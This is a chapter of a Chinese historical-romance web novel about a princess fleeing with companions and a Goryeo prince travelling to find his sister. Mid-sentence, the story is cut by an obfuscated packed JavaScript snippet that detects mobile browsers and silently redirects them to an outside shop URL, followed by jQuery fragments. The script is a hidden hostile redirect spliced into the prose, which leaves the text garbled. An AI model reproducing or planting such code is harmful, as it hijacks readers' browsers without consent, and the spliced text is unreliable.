雨水终于停了下来,沫沫拨了拨湿漉漉的头发,微微偏头看了眼公主,问道:“马上就要走出林子,之后我们该往哪儿走?”
“你猜?”辛兰朵冷笑一声,倏地转身,缓慢地说道,“后面有狼群追来了。”
“啊”万瑞不由得惊呼,慌不择乱地在身上寻找短刀,这时辛兰朵对着万瑞笑吟吟地说着:“不用担心,你看之前还眼冒绿光的狼群,现在完全变了个模样,看来是吃饱了。”
“兰朵,你不懂,这狼吃饱了还是会攻击……”万瑞的话语突然被打断。
“前面的四人请留步。”红玫有力的声音在茂密的林中回荡,“我奉主上之命,安全将你们送至平原。”
紧跟着的狼群再无凶恶之意,如同普通的狗一般温顺地靠了上来,准确来说是在万瑞的裤脚边蹭来蹭去。
说罢,嫩黄色的衫裙从后面现出,轻快地走过来,向一行四人招了招手。
“看来兰朵姑娘很是聪慧,它们……确实是吃饱了,这几头狼不计前嫌,愿意前来保护你们。”
红玫颔首,一面示意她们往前走,一面说道:“兰朵姑娘可否让我同万瑞王子单独说几句话。”
她面不改色:“随意,沫沫,白锦我们去前面等一等。”
她们三人在大树下停住,这才瞧见红玫与万瑞离得很近,辛兰朵微微眯着眼,笑容却停住了,不知是怎么的心情。
后来她都在想,自己为什么会烦躁不已,直到万瑞他朝她们这边走来时,她的心放下去。
原来是脱离了掌控的感觉。
一路上,辛兰朵没有多问,她们究竟说了些什么?
但在心中,她却在揣测,应该不是告诉万瑞她的母亲是谁?不然这没用的男人定会折返去与令狐亿相认一番。
说不定还要留在山岚。
那又会是什么呢?
万瑞此刻没轻没重地拍了拍辛兰朵的手臂,冲他眨了眨眼睛,偷偷说道:“诶,兰朵,你们都不问我,红玫与我说了些什么吗?”
她微微挑眉,奇道:“不在意,为什么要好奇!”
白锦满脸冷汗地提醒道:“已经快出林子了,我瞧见阳光了!”
他们一行人不约而同转身望向红玫远去的身影,嫩黄的衣衫慢慢消失在森林的雾气中。
沫沫暗暗叫绝,她在偌大的林中独来独往,这勇气可嘉。
东佳湖畔雨后的晚霞绚烂了片刻,不久后,天暗了下来,沫沫与白锦背靠着背浅浅地睡下。
就快到中原了,现在那边是冬季吧,平时每每到了冬天她都会手脚冰凉,这种感觉实在不好,所以冬天时漫天飞雪的场景,她根本喜欢不起来。
可时过境迁她却开始思念起白茫茫一片的宫殿,她无数次抑制不住哭泣,最终都没有流下眼泪,风声渐渐大了起来,带着夜晚独有的寒冷,这次她鼻子突然酸涩起来。
万瑞睁开眼睛,忽地看见对面的兰朵公主,她这脾气异常火爆的人居然在哭?
他从手中取出一张薄薄的布料,还是她递给自己擦眼泪的,视线下移到那块缺了一角的衣服,这么久都不把衣服换下来?
印象里她好像换过衣服,不然这气味肯定难闻,他伸出手,开口说道:“擦擦吧,别哭了。”
辛兰朵听到此话,身体一震,气呼呼地跑过来,一把扯过万瑞手中的布料,失声道:“你看我像是在哭,我才不会跟你一样,就算是……我的父亲死了,我也不会哭。”
万瑞眼瞧着这柔韧的布料被她撕开,而他心中柔软的地方不由得被触动,眼前的人眼眶红着,鼻尖也是,脸颊两侧也有泪痕,乌黑的发丝黏在粉红的耳垂边,倔强地掩饰着她的脆弱。
为什么要硬撑了?哭出来不好吗?
他叹了口气,将自己的衣服一角撕了下来,稳稳地递出,辛兰朵咬着下唇,后来她如同梦呓般,饱满樱红的嘴唇翕动着不知说了些什么。
她还是颤抖着接过半空中飘扬的碎布。
猛然一个锐利反光,辛兰朵发觉万瑞身侧别着一个类似于圆形装饰品,奇怪的是这金属凸出的部分是十字形状,但背景却是一朵花,像是莲花。
红玫送的?定情信物?
注意到她的视线,万瑞急忙把它给遮住
为了转移注意力,他用感慨的语气说道:“我父汗在世时,曾路过一处大江,比这湖畔更大更广阔,而且气温极低,他那时站在大江边上说‘将来我死了,我的坟墓便建在这滚滚江水的附近,不用修建陵墓。’”
“你那时多大,记得这么清楚?”她问。
“兄长经常同我讲,自然印象深刻。”
辛兰朵讥笑道:“原来不是亲眼所见,你的父汗享用着先前游牧民族留下的残忍光辉,极度奢华,铺张浪费,花天酒地,以至于其余部落早已不满,才有得今天这个下场。他说出这种话只有两种可能,第一是捏造的,第二,是怕冤魂前来……”
“住嘴!”万瑞呵斥道,“你不要这么说我父汗!”
“那是你的父汗,不是我的,我想怎么说都行。”辛兰朵笑了笑,寒冷刺骨的神色,“我是不是得感谢他,有你这么一个善良的孩子,救下了我。”
“不,不用谢我。”万瑞倏地平静下来,低着头,“有什么样的父亲,就有什么样的儿子,这样的恶习我从为阻止过,那时我只不过是脑子一热,才救下的你们。”
“你能有这样的觉悟也算不错,”辛兰朵话锋一转,眉眼放松下来,眼神变得柔和,
“不论你是不是一时冲动,总归是你救下了三条人命,我很敬佩你在众目睽睽之下,
能伸出援手,我猜其实你之前也想过要救哪些可怜的女孩吧,只是那时你也只是个孩子。”
“啊……”万瑞茫然地抬起头,眼中有了泪光,嘴上也含糊起来:“我……兰朵,还好有你懂我。”
忽地,他站起身,一把粗鲁地搂住辛兰朵,只听她低缓“嗯”了一声,他的手臂收得更紧。
万瑞却不知,怀里的人眼中闪烁出奇异的光华,那神色他一辈子都不会见到,也读不懂——
嫌恶与鄙夷。
湛蓝的天空中,一只乌鸦在半空盘旋着,后来似乎找到了着陆点,乌鸦落在高丽国的一个身材消瘦男子的手上。
他眼眶微微发黑,收到消息的那一刻,灰黑的下眼皮不受控制地一颤,愤然得一时欲将送信的乌鸦掐死,最终还是作罢,只是拔了一片羽毛下来,没了它还怎么传送讯息。
“来人!”云墨抬高音量唤道,然而适才提起嗓子喊着,让他着实有些吃不消,连连咳嗽几声。
等人的间隙,云墨极目远望,这片国度的土地并不如青龙国那般肥沃,适合种地灌溉。
常遇旱灾,导致民众的田地寸草不生,难以果腹。
十年前遭大月入侵险些举国全灭,那时青龙国愿意借兵,借粮援助。
原因是,青龙看中了高丽的一大片土地,那时高丽人都不明白为何看中那块干涸的土地,没有犹豫便给了。
现在明白了又能如何,那里隐藏千年的前朝古墓,有着大量金银财宝,竟还有丰富的盐产。
而他唯一的姐姐也作为条件嫁给了青龙皇帝,最近说是终于得到了些许的尊重,当上了贵妃。
即使皇后之位空着,青龙国的皇帝也不愿将这个位置给他的姐姐,一国公主,云轻尘。
侍女来了,急促的脚步声打断了他的思虑。
云
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837427|191262||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
墨不自禁咳嗽:“我姐姐何时回来?”
侍女战战兢兢:“公主被青龙太子关了起来。”
云墨咬紧牙关,奇道:“辛时玹知道了?”
侍女平复心情后,方道:“不,他一旦听闻有人传辛兰朵的谣言,无论真假,他二话不说便将传言者关起来,还放话除非兰公主能回来,不然他全杀了。”
云墨挑眉:“哦,那皇帝允许?”
“皇帝没管也没问。”
“哈哈那允城皇帝一贯不在意他的子嗣,”他冷笑几声,声音低了下去,“姐姐如今被关在哪里?”
“地窖。”
云墨愣住了,顷刻间,忍不住咳嗽了起来,断断续续地说:“什……么?她可是贵妃,怎么能?”
“马上启程!带上几个侍卫,去青龙。”侍女见状欲开口阻止,云墨却摆手道,“有些事不能在信中说,要当面告诉贵妃。”
许久许久,只听见马车轮在地面震荡的声响,无风也无雨,云墨沉寂了一路,更多的是忐忑。
“救命啊,救命啊。”道路前方传来几声女子的惨叫,云墨眉头皱得极深,向马车外的侍卫命令道,“何人吵吵闹闹,杀了。”
“主上,已经快到了青龙地界了。”
“我说杀了,万一她是……”
没错,一路上,云墨担惊受怕,这高丽距离草原较近,兰公主有可能会选择踏上高丽国土,所以他选择野路,遇上的一切落难女子,格杀勿论。
剑器出鞘的声音响起,落难激烈地女子“啊”了几声,紧接着一声倒地闷响,没了喊叫。
“启程吧,不用收拾。”
侍卫紧闭着嘴巴,鞭策了几下马匹,离开了满地鲜血,落雪的泥地。
云墨心中担忧的兰公主,仍安静地在一间木屋里休息,一行四人皆在。
这是一对夫妇所建的木屋,离高丽还有一段距离,这片位置被四处环湖,茂密的矮灌木,水土富饶。
鼻血从白锦的鼻腔中幽慢地流出,滴在了桌上,沫沫见状,赶忙起身去外面拿了一块干净的抹布递给她。
“这是怎么了?”沫沫温言道。
万瑞呵呵几声,愤然地开口:“作孽多了,要死了!”
突然砰的一声,原是沫沫一掌拍在桌上,眼睛瞪得浑圆,吼道:“你给我注意点!你们游牧民族才是造孽多了,这不,举国全灭!”
“你说什么?你……我们才没有造孽,额……我们。”万瑞不知说什么,好像确实是这样,但被这样说出来,听着总归不舒服。
“好了,别吵,”辛兰朵抬眸,注视着耳朵气得发红的男人,语气不阴不阳,“你是个温顺的人。”
万瑞挠了挠头,抿唇默然。
“哈哈哈,”沫沫心里暗自想,这不就是狗吗,这万瑞王子难道听不出来?温柔才是形容人,“郡主我呢?”
“你是个可怜人。”
“什么?”沫沫有些低落。
辛兰朵说:“白锦,你受伤了身子虚,来到这里水土不服,但我们耽误已久,那对夫妇的善心是有限的,我们只能启程了。”
白锦点了点头,正色道:“我明白,我的身体恢复地很好,如果不是您及时阻止那头狼,我恐怕伤得更重,公主我真是对不住你。”
“哦?”辛兰朵憋住笑,哑声道,“早已是过去的事情了,不必挂怀。”
“什么?”万瑞诧异地脱口惊呼,“你心真软!”
次日,与夫妇道谢后,他们朝高丽的方向离开。
夫妇这几日见到了不寻常的事情,这片湿地,除了有豹猫,以及一些食草动物,怎么还会出现狼群?
湿地上的狼脚印,很明显狼在这周围待过。